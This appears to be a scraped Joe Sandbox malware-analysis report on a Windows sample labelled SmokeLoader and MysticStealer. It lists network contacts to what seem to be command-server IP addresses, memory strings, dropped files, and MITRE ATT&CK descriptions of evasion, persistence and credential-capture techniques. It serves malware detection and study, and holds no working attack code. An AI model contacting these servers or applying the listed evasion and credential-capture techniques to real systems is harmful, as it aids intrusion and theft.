38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 47Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 73 6b 98 d0 49 be ce 38 96 b3 71 59 ec 18 a2 57 2d d5 17 87 f5 7d Data Ascii: H>99$JYWskI8qYW-}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 45Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 73 6b 98 d0 49 be ce 38 96 b3 71 5b f3 1e a2 08 66 c8 41 87 Data Ascii: H>99$JYWskI8q[fA
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Sep 2023 15:53:41 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 403Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>

Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.92.211
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.92.211
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.92.211
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.92.211
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.92.211
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.92.211
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.68.29
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.68.29
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.68.29
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.68.29
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.68.29
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.68.29
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.68.29
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.124.231

Source: svchost.exe, 00000021.00000003.304665962.0000018D905A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: t enough.\r\n\r\nSHARE WITH FRIENDS\r\nSend photos and videos to keep your close friends up to speed. Receive files for even more productivity.\r\n\r\n\r\nCalls are free over Wi-Fi but otherwise standard data charges apply.\r\nPrivacy Policy: https://www.facebook.com/about/privacy \| LEARN MORE at: https://messenger.com (https://messenger.com/)","ProductTitle":"Messenger","SearchTitles":[],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9WZDNCRF0083","Properties":{"PackageFamilyName":"Facebook.317180B0BB486_8xx8rvfyw5nnt","PackageIdentityName":"FACEBOOK.317180B0BB486","PublisherCertificateName":"CN=6E08453F-9BA7-4311-999C-D22FBA2FB1B8","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"c6a9fa5c-20a2-4e12-904d-edd408657dc8"},{"IdType":"LegacyWindowsPhoneProductId","Value":"3219d30d-4a23-4f58-a91c-c44b04e6a0c7"},{"IdType":"XboxTitleId","Value":"2004208728"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2023-09-11T23:48:25.5854013Z\|\|.\|\|a7da40df-b5be-40f6-b49d-5ac70d4d5568\|\|1152921505696762320\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku":{"LastModifiedDate":"2023-09-11T23:48:04.9851982Z","LocalizedProperties":[{"SkuDescription":"Made for big screens and close connections. Get access to free texting, and high-quality voice & video chat built specifically for desktop.\r\n\r\nMADE FOR DESKTOP, MADE
Source: svchost.exe, 00000021.00000003.317176395.0000018D905B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.328586538.0000018D90563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \nLike us on Facebook: http://www.facebook.com/spotify\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2023-09-22T12:09:58.6371163Z\|\|.\|\|ac40657f-579b-4a38-b3ff-1e6a8cd648f9\|\|1152921505696806515\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":["HeadlessApp"],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku":{"LastModifiedDate":"202
Source: svchost.exe, 00000021.00000003.317176395.0000018D905B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.328586538.0000018D90563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \nLike us on Facebook: http://www.facebook.com/spotify\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2023-09-22T12:09:58.6371163Z\|\|.\|\|ac40657f-579b-4a38-b3ff-1e6a8cd648f9\|\|1152921505696806515\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":["HeadlessApp"],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku":{"LastModifiedDate":"202
Source: 11D0.bat.22.dr	String found in binary or memory: start "" https://www.facebook.com/login equals www.facebook.com (Facebook)

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Threatname: MysticStealer

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_b1121980.exe_c9e5ea3d60897e71571f9fa7b3ad8a99b25c9e_b9ffea6a_1af59a20\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_c5286836.exe_9422bb87ea931c91aa7b786ec9ca1922f44d7521_e53c8503_0d9dac9f\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8F72.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER904E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER907E.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA7AD.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA84A.tmp.WERInternalMetadata.xml

Windows Analysis Report
e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
